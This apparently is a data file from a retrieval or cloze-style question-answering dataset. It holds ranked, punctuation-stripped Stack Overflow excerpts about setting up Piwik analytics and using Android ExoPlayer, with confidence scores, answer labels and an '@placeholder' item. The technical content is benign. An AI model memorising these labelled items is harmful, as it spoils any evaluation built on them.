profile and use piwik to track it .", "Does anyone know of an analytics package like piwik or maybe a different version of piwik that supports load-balancing", "I saw that piwik has option for multiple tracking : Multiple Piwik trackers https : developer.piwik.org guides tracking-javascript-guide multiple-piwik-trackers .. . .. . But I don t have control of another tracking code I have only control of tracking JS outputed from my plugin .", "So I ran the mysql-docker-container first in this fashion : .. . .. . After that I ran the piwik-docker-container like so : .. . .. . According to the site https : hub.docker.com r piwik it should now be possible to browse to http : localhost : 6969 to see the Piwik Login page .", "i just updated my piwik from 1.1.1 to 1.5.1 and having problems with the numbers of vists and visitors .", "Each time i send a tracking request with firefox-5 piwik increases the number of pages vistis and visitors .", "Presumably if no other matching file is found you would like the piwik index.php URI to be tried .", "Since I installed piwik the last time - the PHP query seams to have changed ." ] }
{ "confidence": [ 41.10302734375, 39.79298400878906, 39.284481048583984, 36.51821517944336, 35.29132843017578, 34.108917236328125, 34.024539947509766, 33.918453216552734, 32.24761962890625, 32.09127426147461, 32.029014587402344, 31.846479415893555, 31.692838668823242, 31.546894073486328, 31.141376495361328, 30.895275115966797, 30.895275115966797, 30.64224624633789, 30.400096893310547, 30.385679244995117 ], "content": [ "Question : I am working on using piwik as a tracker for vm usage . Thr plan is that every time a VM starts or shuts down a custom request will be send to a piwik server and report a UUID and a few other variables . I downloaded the https : github.com piwik piwik-python-api project that is supposed to allow a python script creation but I am preety stuck after that . All the vms have an ip something like 10.0.5.15 in my localhost for example and I will have to use this access to send the requests . Can anyone provide a link-to a simple example of how to send anything to piwik .. . Answer : This piwik library is intended for a python web server such as Django . Unless you re planning on running a web server in your VMs it will be of no use . That said running a web server to send tracks to piwik seems to be overdoing it . Piwik is simply calling a URL when it sends data to the server . It doesn t use POST only GET . Therefore it is simple enough to replicate the call in Python using a script that will call a URL : https : docs.python.org 2 howto urllib2.html .. . .. . The actual piwik URLs can be as simple as : .. . .. . This will start a single session in the piwik DB . The ID Site is the piwik ID of the website you re tracking . Source https : piwik.org docs tracking-api use-case-tracking-data-using-the-php-client .. . .. . Additional variables can be passed using this session tracker . I would recommend passing the user id in the uid parameter or alternatively in cvar if you need additional custom variables . uid defines the User ID for this request . User ID is any non empty unique string identifying the user such as an email-address or a username . To access this value users must be logged-in in your system so you can fetch this user ID from your system and pass it to Piwik . The User ID appears in the visitor log the Visitor profile and you can Segment reports for one or several User ID userId segment . When specified the User ID will be enforced . This means that if there is no recent visit with this User ID a new one will be created . If a visit is found in the last 30 minutes with your specified User ID then the new action will be recorded to this existing visit . Source https : developer.piwik.org api-reference tracking-api .. . .. . Hopefully this helps . Comment : Hello Forgetso thnak you for the answer it is very very helpfull indeed . I now need to set a custom variable manually since I am not using the jstracker . Do you have any leads on how to do this Comment : You would pass it using JSON in the URL as per the example at piwik s site . http : piwik-server piwik.php cvar 1 : OS iphone 5.0 2 : Piwik Mobile Version 1.6.2 3 : Locale en : : en 4 : Num Accounts 2 Here you can see custom variables called OS Piwik Mobile Version Locale and Num Accounts . The cvar value has not been URL encoded in the example . You would need to encode the value before passing . Source https : developer.piwik.org api-reference tracking-api", "Question : I am trying to install piwik on my machine using XAMPP as it requires PHP apache and mysql . When i installed XAMPP and launched apache it worked fine but when i am trying to access MySql admin through XAMPP or access sample php page copied on xampp htdocs folder apache is getting redirected to IIS which is then not able to view page showing 404.3 error its looking for file in wwwroot which is also not working after pasting in wwwroot . My objective is to make piwik up and running on my machine . Another option is Unix server which is very new to me i have been working in Windows . I know one should have a web server loaded with MySql and PHP to run piwik which is hardly half an hour job once we have all these but coz different resource available i am struggling to get this thing done . Any help is highly appreciated . .. . Answer : After two days of R D i figured it out well sort of . So for anybody who is new in piwik and in linux apache php mysql here is what i did to achieve the objective . For those of you who are familiar with all these or few of these you might have a better way or answer and i would really request you to improve this answer but this is to help someone who is new and does not know all things at once . Here is what i did .. . .. . --get apache .. . --get php one of the requirement for piwik .. . --get sql again requirement .. . .. . --all should be running get wamp its carrying all three of the above make sure apache is running on port 80 . --install mysql but make sure only wamp s sql is running .. . --set passowrd for root in wamp- mysql-- mysqlConsole-- set password for root @ localhost password yourPasswordHere .. . --Paste piwik folder in www directory .. . --open localhost through wamp login in adminer and phpmyadmin bottom right .. . --run http : localhost : 8080 piwik-- u will see directory listing click on folder piwik . You should be able to see welcome screen for piwik installation .. . .. . .. . --make sure we have php-7 as selected version in wamp for php wamp was carrying two version so we can choose to avoid error in system check step of installation .. . --Follow the steps which are very straight forward . This is something which worked out for me . Actual answer might be simpler or better . Hope it will help someone who is probably banging his her head around and hitting some walls without getting something concrete . Happy to help", "Question : null .. . Answer : I have installed piwik successfuly on my system . But geoIP location is not working . I have followed guide at piwik FAQ http : piwik.org faq how-to faq 164 to configure GeoIP Geo location by PECL extention . But is is always showing .. . .. . According to this provider your current location is : .. . .. . Unknown .. . .. . I have also placed GeoIPCity.dat in .. . piwik misc but same error . I have also tried GeoIP Php but nothing changed . What is the problem . I am using centos on my server .", "Question : I have installed the tracking tool Piwik as a Heroku App . It works fine but after 2 days if I visit the app url I must go through the installation stepts again . The DB is still remaining so if I tell Piwik during the installation to use this DB everything is fine . I have no idea why this is happening . Does anyone have an idea or a similar problem .. . Answer : The Heroku file system is ephemeral and Heorku dynos are killed every day . I guess you ve installed Piwik on the running dyno which writes Piwik s configuration to the file system . When the dyno is killed by Heroku this configuration is lost . The newly started dyno does not know the configuration you made and asks you to install it again . The solution to this is to provide all the things that happen during the installation either within the git-repo that is being pulled by Heroku or during the build of the container .", "Question : null .. . Answer : the tracker collects data on the web page it s included in and sends it to Piwik by calling the HTTP tracking API . I got this information but i am unable to find the piece of code for this . can anybody please help me with this Comment : Which piece of code are you looking for The JavaScript that Piwik runs to gather data about the browser of the web page it is included in Comment : I am looking for the code through which data from Piwik extension product details like name id customer details like email username goes to the piwik database . Comment : On the Piwik integrations page at piwik.org integrate http : piwik.org integrate there s a Magento extension - github.com henkelund magento2-henhed-piwik http : github.com henkelund magento2-henhed-piwik - that could be the code you re looking for . Comment : In the source code how is piwik.php collecting the data from the extension How is piwik.php and the extension calling each other Comment : Sorry I don t know Magento so can t answer that . But reading through the Piwik Magento extension code should tell you .", "Question : I tried to do it this way but it gives this error : Fatal error : Class Piwik FrontController not found in C : wamp www aqar2 piwik.php on line 11 .. . .. . my website path is : localhost aqar2 my piwik path is : localhost aqar2 piwik .. . Answer : That error is a result-of a class being used or referenced but not yet loaded . This is likely a result-of your PIWIK INCLUDE PATH being incorrectly set or that you are required to include the class yourself . First double check that the value set in your PIWIK INCLUDE PATH is a valid path on the system perhaps with : .. . .. . If it turns out to not be a real path perhaps you should look at the . dot prefix on your localhost directory . Do you not mean to use realpath localhost aqar2 piwik . If that does work you should also look at how you ve set PIWIK USER PATH . If that does not work you should look at including the FrontController class yourself but this may mean that you have to manually include all of that classe s dependencies as well . To include the class manually use include PIWIK INCLUDE PATH . core FrontController.php .. . .. . It would seem that directory structure you re trying to use is wrong perhaps you should revise that and try to keep all files under the localhost directory . Comment : I used this define PIWIK INCLUDE PATH realpath piwik and it gave me a green light for your directory checking code . I don t know what the user path is but I defined it the same as the include path . and it still gives me an error . Warning : require-once C : wamp www aqar2 piwikindex.php function.require-once : failed to open stream : No such file or directory in C : wamp www aqar2 piwik.php on line 16 Fatal error : require-once function.require : Failed opening required C : wamp www aqar2 piwikindex.php include path . C : php pear in C : wamp www aqar2 piwik.php on line 16 Comment : It seems that your include path is still wrong . Perhaps this is a result-of the directory structure being wrong . Could you edit your post to include your directory structure from your www directory", "Question : null .. . Answer : I have installed piwik successfuly on my system . But geoIP location is not working . I have followed guide at piwik FAQ http : piwik.org faq how-to faq 164 to configure GeoIP Geo location by PECL extention . But it is always showing .. . .. . According to this provider your current location is : .. . .. . Unknown .. . .. . All my visitors also have an unknown location so I m guessing it can t locate IP addresses correctly . How can I fix this I am using centOS on my server . I know this question is the same as PIWIK GeoIP PECL giving unknown location http : stackoverflow.com questions 34087377 piwik-geoip-pecl-giving-unknown-location but no one has answered in 5 months so I m hoping someone can answer here . Thanks . Comment : Are you using the latest version of GeoIP database If it is outdated you might get UNKNOWN in the results .", "Question : null .. . Answer : What is my problem I want to use Docker https : hub.docker.com to deploy the web analytics tool Piwik on my CentOs 7 Server . To achieve this I have followed this page https : hub.docker.com r piwik which states that in order to run the piwik container a mysql container must be running . So I ran the mysql-docker-container first in this fashion : .. . .. . After that I ran the piwik-docker-container like so : .. . .. . According to the site https : hub.docker.com r piwik it should now be possible to browse to http : localhost : 6969 to see the Piwik Login page . Unfortunately using my browser of choice lynx I get this error message : .. . .. . .. . .. . .. . .. . What have I done to debug it To debug this behaviour I listed all running containers : .. . .. . Conclusion : It seems like the ports are mapped and both containers are running . .. . .. . In search of another possible hint to the source of my problem I checked the logs of the containers : .. . .. . Conclusion : It seems like the piwik container is ready . Conclusion : Strangely the mysql-container log does not contain any messages that the piwik container somehow connected to it . So this suggests the linking between those containers did not happen despite the fact that the piwik-container was run with the --link some-mysql : mysql flag . .. . .. . .. . .. . All of this leads to the questions : .. . .. . 1 . How can I make the browsing to the Piwik Login Page work 2 . What can I do to find other clues on why its not working 3 . Have I totally misunderstood the usage of the docker-Piwik https : hub.docker.com r piwik conatiner Comment : The piwik page says you ll arrive at a database configuration page first to enter your db password so it is normal that there is no connection to db yet . Any issue would be with the piwik container itself possible reasons : incorrect link port hard coded in app so you cannot use 6969 port Comment : I have the same problem . Any updates on this I cannot use port 9000 because it is already in use.. .", "Question : null .. . Answer : I am in the process of switching my site analytics from GA to Piwik and would like to incorporate all the historic data that I can . I have already concatenated the full trail of apache log files I have in my possession . However what I do next is not at all clear to me and the Piwik documentation does not help . It says something along the lines of path to piwik misc log-analytics import logs.py --url http : analytics.example.com access.log .. . .. . in my condition i have tried this one python C : Program Files x86 Apache Software Foundation Apache2.2 htdocs piwik misc log-analytics import logs.py --url http : localhost piwik C : Program Files x86 Apache Software Foundation Apache2.2 logs access.log --idsite 1 --enable-http-redirects --enable-http-errors --enable-bots --enable-static --recorder-max-payload-size 300 .. . .. . but that throws up an error message . When I provide the URL to the site in question too I get an error saying that it gets back an HTML document naturally which it does not like . I d be most grateful to anyone who might be able to put me on the right track here .", "Question : i ve got a site on xyz.com and piwik on xyz.com piwik . Piwik is running fine but unfortunately not all data - requested by piwik - are handled by the server . I ve watched behaviour like : .. . .. . xyz.com piwik - error .. . .. . xyz.com piwik index.php - is fine .. . .. . xyz.com piwik module .. . - error .. . .. . nginx.conf .. . .. . my-site.conf .. . Answer : You are missing any default action for the piwik URI . Presumably if no other matching file is found you would like the piwik index.php URI to be tried . Add a try files directive to the outer location block for example : Comment : Thanks but this only solved the problem for the matching from xyz.com piwik to xyz.com piwik index.php . The call of xyz.com piwik module still does not works . One example of this call is on the Dashboard of all Websites where you can add another site to your project . Comment : @TobiasK . Update answer to include query-string . Comment : I do not know how to rewrite the request so that it is passing correctly . Now I ve editet my nginx conf in a way that I merged the both blocks location piwik and location .php but requests with piwik module still fail . Comment : @TobiasK . Have you tried the piwik index.php is args args fix above Sorry but my previous comment may have been ambiguous . Comment : Awesome This was the missing part . Thanks", "Question : I have a extranet that uses PIWIK to monitor visit statistics . I have enabled User ID to monitor unique visits . My question is if there a way to link this User Id in PIWIK to my user table in my extranet .. . Answer : If I understand your scenario correctly you would need to send the User ID from your extranet to Piwik with the setUserId option discussed in the docs http : developer.piwik.org guides tracking-javascript-guide user-id . If you re using Javascript : before you track the pageview set the user ID with : .. . .. . When you look at the Visitor Log you ll see the extranet user ID for any authenticated users that had the variable set .", "Question : Does PIWIK count the visit time if the browser tab is not active If not is it possible to count the time the user is actively using the website .. . Answer : Yes it is possible and was introduced in one of the recent Piwik versions . See : http : piwik.org faq how-to faq 21158", "Question : I m using Piwik http : piwik.org for my multiple websites . Installed it on shared server . I wonder is there any posibility that this tool transfers my websites statistics to third party servers such as application owner s servers How can I check this tool for this reason Please explain your answer . Thanks in advance Comment : There is detailed information about privacy on the project page I wonder how you could miss that .. . Answer : Your data is never shared with anyone . Here is the explanation from Piwik s privacy page http : piwik.org privacy .. . .. . Piwik ensures the Privacy of your Users and Analytics data . When using Piwik YOU keep control of your data nobody else does . Your data is stored in your own Mysql Database and logs or reports data will never be sent to other servers by Piwik . Comment : Ok . lets say it s true info but Is there any way to check this application for connections to other servers Comment : Piwik is open source. . You can check its source code if you want. .", "Question : I have the following setup .. . .. . https : example.net my website running on Nginx .. . nn.nn.nn.nn my Piwik server which is only accessible via its IP address .. . .. . On my web pages I have the usual Piwik snippet .. . .. . with Nginx configured as .. . .. . From the Piwik documentation I figured that I also needed a few changes to my config.ini.php file .. . .. . With this setup I can login to Piwik and administer it via the url https : example.net piwik . When I browse to pages on my site I see the activity turn up in Piwik as expected . However the IP address that is recorded is stubbornly stuck at nn.nn.nn.nn rather than the real IP address of the visitor in question . Clearly I am doing something wrong here but I am not sure what it might be . I hope that someone here will be able to provide the right answer . .. . Answer : You have configured Piwik to expect an X FORWARDED FOR and X FORWARDED HOST header then fail to set them in the reverse proxy . Try : Comment : Yes I noticed that and changed it after I posted the question . Still no joy.. .", "Question : I have the following setup .. . .. . https : example.net my website running on Nginx .. . nn.nn.nn.nn my Piwik server which is only accessible via its IP address .. . .. . On my web pages I have the usual Piwik snippet .. . .. . with Nginx configured as .. . .. . From the Piwik documentation I figured that I also needed a few changes to my config.ini.php file .. . .. . With this setup I can login to Piwik and administer it via the url https : example.net piwik . When I browse to pages on my site I see the activity turn up in Piwik as expected . However the IP address that is recorded is stubbornly stuck at nn.nn.nn.nn rather than the real IP address of the visitor in question . Clearly I am doing something wrong here but I am not sure what it might be . I hope that someone here will be able to provide the right answer . .. . Answer : For the benefit of others running into this thread I am reproducing the configuration that eventually worked for me .. . .. . with the Piwik side config.ini.php containing .. . .. . Note that the assignments need to be quoted strings .", "Question : This is a specific questions regarding fortrabbit in combination with the analyctics platform Piwik . During the installation I get this error : .. . .. . I m not able to set this value via the dashboard and workarounds don t work either like creating a user.ini with this said value into your Piwik root folder or creating a .htaccess in your Piwik root folder .. . .. . This might be only an issue with PHP 5.6 see : https : github.com piwik piwik issues 6465 .. . .. . Does anyone has an idea how to solve this issue other than switching back to PHP 5.5 .. . Answer : It is possible that you can do .. . .. . Instead in your php file Comment : Unfortunately this doesn t work . Piwik states the same error : - Comment : Yes i saw that this value can not ne changed at runtime . I don t think you can do anything except to report a bug to Fortrabbit by saying that this value cannot be changed at runtime", "Question : This is a specific questions regarding fortrabbit in combination with the analyctics platform Piwik . During the installation I get this error : .. . .. . I m not able to set this value via the dashboard and workarounds don t work either like creating a user.ini with this said value into your Piwik root folder or creating a .htaccess in your Piwik root folder .. . .. . This might be only an issue with PHP 5.6 see : https : github.com piwik piwik issues 6465 .. . .. . Does anyone has an idea how to solve this issue other than switching back to PHP 5.5 .. . Answer : I emailed the staff and asked if it is possible that they could set this variable for me . And yes after only one day the process was done and I could proceed the Piwik installation . Excellent service Comment : Where you had emailed Actually i have got same problem in installing time", "Question : I m using Piwik for my web-analytics and recently I ve discovered PHPFog CloudControl as hosting providers that set up a load balanced fully managed server for your applications to run on . Piwik requires certain directories to be writable in order to set configuration-files and this prevents me from using load-balancing to enhance my piwik response times . Does anyone know of an analytics package like piwik or maybe a different version of piwik that supports load-balancing .. . Answer : Piwik supports load-balancing See the doc at : http : piwik.org faq new-to-piwik faq 134 Comment : Thanks I didn t see that before .", "Question : To write a custom piwik plugin I m following tutorial : http : piwik.org blog 2014 09 create-widget-introducing-piwik-platform .. . .. . How can I access the request data that piwik receives within the plugin Sample widget from above link : .. . .. . How to access within the plugin the data piwik receives for each visitor request such as the request header fields .. . Answer : Access to a variable with name imageId : .. . .. . imageId Common : : getRequestVar imageId .. . .. . About headers : Piwik provides a list of headers methods through a ProxyHeaders class . For now there are only two public static-methods that could be potentially interesting for you : ProxyHeaders : : getProxyClientHeaders working with .. . .. . and ProxyHeaders : : getProxyHostHeaders for .. . .. . Both these methods call another one which is private : .. . .. . Because method getHeaders is private and it actually doesn t do what you want probably the easiest way would be just to read headers directly from SERVER . It will work this way : if you have a header with name my-test-header and value 123 : .. . .. . Content-Type application x-www-form-urlencoded .. . .. . etc . One note about web servers whether it s Apache or Nginx or any other one the configuration really matters here especially for a HTTP X FORWARDED FOR header . Comment : the code you posted does this need to be contained within a plugin Comment : @blue-sky the method in my post is the only method that works with headers but because it doesn t solve your task you can get access to headers directly from the plugin through this call SERVER HTTP MY TEST HEADER Comment : the code you posted can be run outside a plugin Comment : @blue-sky Absolutely it is a PHP way to read headers so it can be placed in a plugin OR outside of it . php.net manual en reserved.variables.server.php http : php.net manual en reserved.variables.server.php SERVER is an array containing information such as headers paths and script locations . The entries in this array are created by the web server . There is no guarantee that every web server will provide any of these servers may omit some or provide others not listed here .", "Question : I am using Piwik and after inspecting the database i see a table : piwik archive blob .. . .. . This table has a column called value with type : mediumblob .. . .. . The values appear to be jumbled characters . I assume that there is an encode decode process . Can anyone help me decode this column . I think there is good data here but i need to be able to read it .. . .. . Thanks Comment : What are you trying to achieve Comment : I need to be able to decode and read this value . If it is serialized and then gzcompressed . Cant i just gzuncompress and then deserialize to get the value . I want to be able to get the data in the mysql table without using there reporting api Comment : Why not use the reporting HTTP API .. . Answer : The value column stores serialized and gzcompressed http : php.net manual en function.gzcompress.php DataTable https : github.com piwik piwik blob master core DataTable.php objects so there is no easy way to read it . Comment : Can i just gzuncompress and then deserialize to read the content on the value column Or is there more to it Comment : You will have to use PHP to easily read object properties . I don t think it s the way to go ." ] }
[ "yes-answer-long", "yes-answer-short" ]
analytics
UNK_RELATION
android-exoplayer@media-player@56
android-exoplayer -- exoplayer is an application level @placeholder for android .
{ "confidence": [ 60.70578384399414, 57.9603385925293, 57.9603385925293, 56.90504837036133, 53.22671127319336, 52.38881301879883, 51.84109878540039, 51.84109878540039, 51.81149673461914, 50.568031311035156, 50.53043746948242, 48.232337951660156, 47.402565002441406, 47.402565002441406, 47.402565002441406, 47.402565002441406, 46.6162223815918, 46.58490753173828, 46.506412506103516, 46.35734176635742, 45.279541015625, 44.24177169799805, 43.894981384277344, 43.894981384277344, 43.31103515625, 43.31103515625, 42.63454818725586, 42.63454818725586, 42.39825439453125, 42.212371826171875, 42.212371826171875, 41.91542053222656, 41.719112396240234, 41.42464065551758, 41.37147521972656, 41.27385711669922, 41.208003997802734, 41.00991439819336, 40.420738220214844, 40.420738220214844, 40.2408447265625, 40.08905792236328, 39.763946533203125, 39.613162994384766, 39.56737518310547, 39.56737518310547, 39.56737518310547, 39.56737518310547, 39.56737518310547, 39.16030502319336, 39.16030502319336, 39.16030502319336, 39.16030502319336, 39.106834411621094, 39.074119567871094, 38.98002243041992, 38.76004409790039, 38.76004409790039, 38.080902099609375, 38.080902099609375, 37.94495391845703, 37.7962646484375, 37.733760833740234, 37.499610900878906, 37.499610900878906, 37.499610900878906, 37.499610900878906, 37.499610900878906, 37.47874069213867, 37.444278717041016, 36.2383918762207, 36.229461669921875, 36.19447326660156, 35.55236053466797, 35.435909271240234, 35.435909271240234, 35.435909271240234, 35.435909271240234, 35.435909271240234, 35.435909271240234, 34.432437896728516, 34.432437896728516, 34.432437896728516, 34.432437896728516, 34.432437896728516, 34.397972106933594, 34.19685745239258, 34.056697845458984, 33.939178466796875, 33.78105926513672, 33.77574920654297, 33.596981048583984, 33.34727478027344, 33.34727478027344, 32.90736389160156, 32.90736389160156, 32.90736389160156, 32.90736389160156, 32.48436737060547 ], "content": [ "I am using exoplayer on Android .", "I am trying to implement Exoplayer in android to stream songs .", "I want to implement video-player ExoPlayer in my android app .", "It even is gone from github http : google.github.io ExoPlayer doc reference com google android-exoplayer FrameworkSampleSource.html", "I inherited a project that uses exoplayer to play an aac stream on Android .", "I found two ways to achieve it by editing DemoPlayer https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo player DemoPlayer.java L308 from ExoPlayer .", "I have an Android app which uses ExoPlayer to play an audio stream .", "I m working on a DRM implementation of DASH in Android ExoPlayer for DRMtoday plugin .", "ExoPlayer have a minimal sdk level 16 requirement .", "github.com google ExoPlayer https : github.com google ExoPlayer", "From : https : google.github.io ExoPlayer guide.html https : google.github.io ExoPlayer guide.html", "I have implemented ExoPlayer in my Android app using the following code .", "To do that edit https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo Samples.java file to add a new sample set .", "Example : .. . .. . Now in https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo SampleChooserActivity.java add a new row in sample adapter .", "To do that edit https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo Samples.java file to add a new video set .", "try .. . .. . analogous to this line of code https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo player DemoPlayer.java L202", "I am developing an application that plays mp4 videos using ExoPlayer .", "I use ExoPlayer with ExoMedia .", "A minor modification with Srikanth Peddibhotla s code works .. . .. . The Uri string for the file should be file : mnt sdcard YourFilename.mp4 instead of mnt sdcard YourFilename.mp4 in Samples.java https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo Samples.java .. . .. . Also add the following lines to SampleChooserActivity.java https : github.com google ExoPlayer blob master demo src main java com google android-exoplayer demo SampleChooserActivity.java", "please correct me if I m wrong but I think in this tutorial we can customize old media-player in android not exoplayer .", "I have an ExoPlayer instance initialized with 4 tracks .", "I made a post about it https : irpdevelop.wordpress.com 2016 01 25 exoplayer-add-simple-audio-player-to-android in case it would help anyone .", "github.com google ExoPlayer issues 136 https : github.com google ExoPlayer issues 136", "See github.com google ExoPlayer issues 420 https : github.com google ExoPlayer issues 420", "I m trying to create a Unity-based VR app that uses the Android ExoPlayer for video playback .", "I am investigating how to make an Android Exoplayer play a single content stream to multiple surfaces .", "https : google.github.io ExoPlayer guide.html traditional-media-playbacks", "The link was dead because DefaultSampleSource was removed from ExoPlayer .", "5 After few seconds come back to ExoPlayer Demo application by pressing Overview button and select ExoPlayer from it .", "the changes will let exoplayer to pick software decoder if hardware decoders are allocated .", "I am using Exoplayer to load videos from the Internet .", "You can either use the Exoplayer AspectRatioFrameLayout https : github.com google ExoPlayer blob master library src main java com google android-exoplayer AspectRatioFrameLayout.java or in previous version they used a AspectRatioTextureView https : github.com HugoGresse SimpleExoPlayer blob master library src main java-io gresse hugo simpleexoplayer view AspectRatioTextureView.java .", "I m trying to use ExoPlayer in a music-player application replacing android s MediaPlayer which proved rather unstable .", "It is observed in exoplayer sample app aswell", "All i found in ExoPlayer s sources : .. . .. . https : github.com google ExoPlayer blob b228ccd8d27f66f63e1c7c9983a5002efa43a4b5 library src main java com google android-exoplayer extractor ts H264Reader.java L221 .. . .. . https : github.com google ExoPlayer blob c9caaad50c4148a8c369816c100c170436a3d4d6 library src main java com google android-exoplayer util CodecSpecificDataUtil.java L36 .. . .. . Using this variable i can calculate aspect-ratio like this : .. . .. . As i understand this variable located in SPS data .", "I have tried this http : stackoverflow.com questions 24772985 how-can-i-design-the-custom-seekbar-in-android and this http : www.androidhive.info 2012 03 android-building-audio-player-tutorial for Design Custom Seekbar for ExoPlayer but no luck .", "I m using Google new MediaPlayer named ExoPlayer and cannot find a way to mute the sound .. . .. . Is there an easy way to mute audio track on Google ExoPlayer", "I am experimenting with ExoPlayer for Android and I would like to read off the byteArray obtained from read . . api .. . .. . http : google.github.io ExoPlayer doc reference com google android-exoplayer upstream DefaultUriDataSource.html .. . .. . Now I have access to the DataSource object from the Demo Sample but I don t seem to understand how to use the method .", "While using ExoPlayer https : github.com google ExoPlayer that on some devices the audio lags behind the video by about 100ms .", "exoplayer github https : github.com google ExoPlayer .. . .. . I have created a PlayerService just similar to PlayerActivity of the official demo .", "Exoplayer now has an application-level media extractor currently on the dev branch which avoids this issue entirely as it doesn t run through Android s broken MediaExtractor .", "I am building an Android application where an ExoPlayer plays a video onto the surface of a SurfaceView and I am investigating whether it is possible to dynamically blur the playing video .", "I m try to use ExoPlayer and MediaPlayer .", "I also find this solution http : upshots.org android android-play-encrypted-video-in-exoplayer but actually here the entire file is decrypted in one step and stored in a clear inputstream .", "I m trying out ExoPlayer using the demo app included with the library .", "Hi I am looking for an example to configure ExoPlayer for DASH .", "I had to replace MediaPlayer with ExoPlayer today for a radio streaming app .", "The ExoPlayer demo app in github can be modified to play local files .", "I m traying to use ExoPlayer for playback video over http .", "I want to design custom thumb and ProgressBar for ExoPlayer .", "How can I Bind it with ExoPlayer volume", "I would like to download a video that is streaming in ExoPlayer .", "Here is the code from the samples provided in ExoPlayer .", "I m using ExoPlayer https : developer.android.com guide topics media exoplayer.html in Android and I m trying to reproduce an encrypted video stored locally .", "The demo application provided in ExoPlayer source code can be modified to add any video that will be shown in the startup Activity .", "My other stackoverflow searches have not given a solution yet : .. . .. . Using cache in ExoPlayer http : stackoverflow.com questions 28700391 using-cache-in-exoplayer .. . .. . ExoPlayer cache http : stackoverflow.com questions 26095261 exoplayer-cache .. . .. . Thanks for your time and patience .", "The modularity of ExoPlayer allows to create custom components that can be injected in the ExoPlayer and this seems the case .", "check this link for more https : github.com google ExoPlayer issues 1116 https : github.com google ExoPlayer issues 1523", "I am using below code to play video using EXOPlayer but it doesn t plays .", "I know that exoplayer does not buffer previous frames but why is it also rebuffering when going forward", "I have a list of URL s that I want to be played.I am switching to exoPlayer because it s smoother than MediaPlayer.I have readed all StackOverflow topics about exoPlayer but none of them are updated .", "I have seen google s library Exoplayer https : github.com google ExoPlayer but it has some complex installation then found an exoplayer wrapper ExoMedia https : github.com brianwernick ExoMedia which worked perfectly except that it is not supporting subtitles .", "If I read the ExoPlayer source code correctly you have to keep references to the audioRenderers you use when preparing the ExoPlayer instance .", "But I need to play an InputStream using ExoPlayer .", "It seems that there is no easy way to achieve this because ExoPlayer is not designed for this .", "Are you running into errors with your ExoPlayer Implementation or elsewhere", "But with ExoPlayer i can get pixelWidthAspectRatio from stream .", "Even without the ExoPlayer how can this be achieved", "I cant find in exoPlayer anything relative to start from a specific time .", "I m searching for 2 days to find out how to change the media controller in exoplayer and all resources refer to this link http : www.brightec.co.uk ideas custom-android-media-controller .", "ExoPlayer s standard audio and video components rely on Android s MediaCodec API which was released in Android 4.1 API level 16 .", "Hence they do not work on earlier versions of Android .", "Amazingly on the same day you posted this response Google also responded to my Github ticket to say that they have now added an application-level extractor on to the Exoplayer dev branch", "looks like exoplayer try to use more than one hardware decoder but some devices does not allow more than one hardware decoders .", "If I set a listener on ExoPlayer I can see it move through each of the states - preparing buffering but NEVER ready .", "While I m not sure this is an ExoPlayer-specific issue surely someone must have encountered something similar to this", "Yes ExoPlayer can play any DASH SmoothStreaming HLS or MP4 Progressive download over HTTP URLs .", "stackoverflow.com questions 28579967 http : stackoverflow.com questions 28579967 missing-frameworksamplesource-from-exoplayer", "If you re looking for simple implementation I ve created simple apps from exoPlayer Demo for easier to read .", "Overriding HttpDataSource is wrong approach because ExoPlayer has target classes for cache implementation .", "Better for me - MediaPlayer ExoPlayer work slow with old devices .", "Note : I ve used the Oculus MoviePlayerSample and got it to work with ExoPlayer .", "Google says it uses ExoPlayer for Youtube so how is this possible", "I looked into the classes of ExoPlayer but could not figure out how to achieve this", "However the reason this didnt work before was due to my ExoPlayer not attaching the listeners .", "YouTube uses ExoPlayer in Android to play their Videos Audios but you may have noticed once you played a video the next time it plays from the Cache not from the server stream .", "I am new in android and I have downloaded the exomedia demo app .", "I was implementing ExoMedia A great wrapper library for Google s ExoPLayer in my app when I noticed that ExoMedia like ExoPlayer does not support handle the following use-case : .. . .. . User is watching a video when network disconnects momentarily and reconnects .", "You can find changes in demo application over here https : github.com saurabhkpatel ExoPlayer commit 78b7c66e6e7284afd7e23ddf7a439cee42462950 .. . .. . Attachments : .. . .. .", "Quick google-search gave http : examples.javacodegeeks.com android android-mediaplayer-example http : code.tutsplus.com tutorials create-a-music-player-on-android-song-playback--mobile-22778", "i m using library https : github.com satorufujiwara exoplayer-textureview .. . .. . Problem is dose not provide PlayerControl seekbar stopbtn startbtn pause.... . .. . .. . i know exoplayer using the Easy and best but exoPlayer based surfacedView .. . .. . surfaceView in Video when Scrolling to up down. . Video is not playing .. . .. . Thanks for help", "I am new to Exoplayer and I know the primary goal of the library is to stream and play audio at a higher level than android s MediaCodec AudioTrack .", "EDIT .. . .. . The Exoplayer only supports UTF-8 encoded subtitle files so there is no way to change the subtitle encoding", "I m using exoPlayer to stream video to my app and so far works fine .", "I m trying to implement below url with key on exoplayer sample code but as I m new to mpd url I don t know how to", "you have to provide multiple video urls with diffrent bandwidths and depending on the selected bandwidth you have to provide the correct video url to exoplayer .", "ExoPlayer recently moved away from using Android s MediaExtractor so FrameworkSampleSource and DefaultSampleSource as it was named later were removed from the library .", "I m trying to use ExoPlayer instead of MediaPlayer because it s a common bug that MediaPlayer returns wrong getCurrentPosition and I need a substitute .", "I have found ExoPlayer should support live-streaming ." ] }
